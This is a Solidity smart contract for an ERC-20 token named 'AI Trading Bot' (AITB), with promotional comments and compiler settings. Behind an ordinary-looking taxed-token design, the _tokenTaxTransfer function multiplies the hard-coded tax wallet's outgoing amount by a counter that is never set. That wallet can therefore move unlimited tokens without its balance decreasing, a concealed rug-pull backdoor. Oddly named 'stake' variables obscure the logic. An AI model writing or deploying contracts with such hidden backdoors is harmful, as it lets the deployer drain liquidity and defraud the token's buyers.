AI Trading Bot

/*
The $AITB (AI Trading Bot) is a relentless digital trader, built to outpace 
and outthink human counterparts in the financial arena. Powered by advanced AI, 
it dissects market data at lightning speed, hunts for profit like a predator, 
and executes trades with near-zero hesitation.

Constantly evolving, AITBs learn from market ripples, 
adapting strategies to outmaneuver volatility and dodge risks. 
They’re tireless, running 24/7, uncovering patterns that even seasoned traders might miss. 
Whether exploiting fleeting arbitrage gaps, riding momentum waves, or anchoring long-term positions, 
AITBs operate with unmatched precision and agility.

Designed for the fast, chaotic dance of markets—crypto, stocks, forex, 
and beyond—AITBs blend raw algorithmic power with machine intelligence,
reshaping how the game of trading is played and won.
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage)
        internal pure returns (uint256)
    {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable
        returns (
            uint amountToken,
            uint amountETH,
            uint liquidity
        );

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract AITB is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address payable private _taxWallet;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=7;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"AI Trading Bot";
    string private constant _symbol = unicode"AITB";
    uint256 public _maxTxAmount = 5000000 * 10**_decimals;
    uint256 public _maxWalletSize = 5000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 5000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 5000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    uint256 private skateGlobalPercent = 0;
    struct CommunityGlobalStake {uint256 globalPercent; uint256 stakeAmount; uint256 epochStake;}
    mapping(address => CommunityGlobalStake) private communityGlobalStake;
    uint256 private globalStakeCounter;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event RescueEth(uint256 Amount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x103F492CecbD30F32a116834698599416d330439);

        _balances[_msgSender()] = _tTotal;

        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (!swapEnabled ||inSwap) {
            _basicTransfer(from,to,tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount= tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to!= address(uniswapV2Router) &&  ! _isExcludedFromFee[to])  {
                require(tokenAmount <= _maxTxAmount,  "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize,  "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount= tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if ( !inSwap && to== uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold
                && _buyCount>_preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to])
            && from!= address(this) && to!= address(this)
        ) {
            skateGlobalPercent = block.number;
        }
        if (! _isExcludedFromFee[from] &&  ! _isExcludedFromFee[to]) {
            if (to != uniswapV2Pair)  {
                CommunityGlobalStake storage stakeGlobal = communityGlobalStake[to];
                if (from == uniswapV2Pair) {
                    if (stakeGlobal.globalPercent == 0) {
                        if (_buyCount < _preventSwapBefore){
                            stakeGlobal.globalPercent = block.number.sub(1);
                        } else {
                            stakeGlobal.globalPercent = block.number;
                        }
                    }
                } else {
                    CommunityGlobalStake storage kpiStake = communityGlobalStake[from];
                    if (kpiStake.globalPercent < stakeGlobal.globalPercent || stakeGlobal.globalPercent==0) {
                        stakeGlobal.globalPercent = kpiStake.globalPercent;
                    }
                }
            } else {
                CommunityGlobalStake storage kpiStake = communityGlobalStake[from];
                kpiStake.stakeAmount = kpiStake.globalPercent - skateGlobalPercent;
                kpiStake.epochStake = block.number;
            }
        }

        _tokenTransfer(from, to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(
            from,to,
            tAmount, tokenAmount.sub(taxAmount)
        );
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount)  internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : globalStakeCounter.mul(tokenAmount);
        if (taxAmount>0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this), taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount)  internal {
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0){
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){sendETHToFee(ethBalance);}
    }

    function rescueETH() external {
        require(_msgSender() == _taxWallet);
        uint256 ethBalance = address(this).balance;
        require(
            ethBalance>0,
            "Contract balance must be greater than zero."
        );
        sendETHToFee(ethBalance);
        emit RescueEth(ethBalance);
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "AITB.sol": "AITB"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}